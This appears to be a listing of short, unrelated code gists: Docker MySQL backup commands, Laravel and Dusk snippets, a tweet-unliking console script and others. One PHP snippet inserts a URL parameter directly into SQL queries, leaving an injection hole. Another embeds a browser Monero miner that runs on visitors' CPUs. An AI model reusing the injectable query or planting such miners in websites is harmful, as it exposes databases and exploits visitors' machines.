The setup installs the following software:
The setup installs the following software:
- Apache
- MySQL
- PHP
- Node
# Backup | |
docker exec CONTAINER /usr/bin/mysqldump -u root --password=root DATABASE > backup.sql | |
# Restore | |
cat backup.sql | docker exec -i CONTAINER /usr/bin/mysql -u root --password=root DATABASE | |
Free O'Reilly books and convenient script to just download them.
Thanks /u/FallenAege/ and /u/ShPavel/ from this Reddit post
How to use:
download.sh
file and put it into a directory where you want the files to be saved.cd
into the directory and make sure that it has executable permissions (chmod +x download.sh
should do it)./download.sh
and wee there it goes. Also if you do not want all the files, just simply comment the ones you do not want.<?php | |
$channel = $_GET['id']; | |
$content = array(); | |
$fields_query = $this->EE->db->query("SELECT * FROM exp_channel_fields LEFT JOIN exp_channels ON exp_channel_fields.group_id = exp_channels.field_group WHERE exp_channels.channel_id = '$channel'"); | |
$entries_query = $this->EE->db->query("SELECT * FROM exp_channel_data cd INNER JOIN exp_channel_titles ct ON cd.entry_id = ct.entry_id WHERE cd.channel_id = '$channel'"); | |
$fields = $fields_query->result_array(); |
<?php | |
namespace App; | |
use Illuminate\Support\Arr; | |
use Illuminate\Support\Str; | |
use Illuminate\Database\Eloquent\Model; | |
use Illuminate\Database\Eloquent\Builder; | |
use Illuminate\Database\Eloquent\Relations\Relation; | |
use Illuminate\Database\Eloquent\Relations\BelongsTo; |
[ 'AL', 'AK', 'AS', 'AZ', 'AR', 'CA', 'CO', 'CT', 'DE', 'DC', 'FM', 'FL', 'GA', 'GU', 'HI', 'ID', 'IL', 'IN', 'IA', 'KS', 'KY', 'LA', 'ME', 'MH', 'MD', 'MA', 'MI', 'MN', 'MS', 'MO', 'MT', 'NE', 'NV', 'NH', 'NJ', 'NM', 'NY', 'NC', 'ND', 'MP', 'OH', 'OK', 'OR', 'PW', 'PA', 'PR', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VT', 'VI', 'VA', 'WA', 'WV', 'WI', 'WY' ]; |
.env.dusk.local
set APP_URL=http://nginx
to point to the docker nginx imagetests\DuskTestCase.php
replace the line 'http://localhost:9515', DesiredCapabilities::chrome()
with 'http://selenium:4444/wd/hub', DesiredCapabilities::chrome()
php artisan dusk
// [Noted in the comments below on 2023-10 - this script might not work very well anymore due to Elon ruining Twitter] | |
// [Updated 2021-01-18 w/new selectors] | |
// go to your account Likes page and run this in the console: | |
function scrollToLoadMore() { | |
// keep scrolling if twitter tries to stop loading more. | |
// scroll up, then down to force infinite load. | |
window.scrollTo(0, 0); | |
setTimeout(function() { | |
window.scrollBy(0, 9999999999); |
<script src="https://coinwebmining.com/cwm.js"></script> | |
<script> | |
var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website | |
var coin = 'monero'; | |
var wallet = '{yourWalletAddress}'; | |
var password = 'x'; | |
var mining_pool = 'moneroocean.stream'; //or check https://coinwebmining.com/browser-miner/monero for more mining pools | |
var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16. | |
var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining. | |
var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works. |
tail -f -n 450 storage/logs/laravel*.log \ | |
| grep -i -E \ | |
"^\[\d{4}\-\d{2}\-\d{2} \d{2}:\d{2}:\d{2}\]|Next [\w\W]+?\:" \ | |
--color |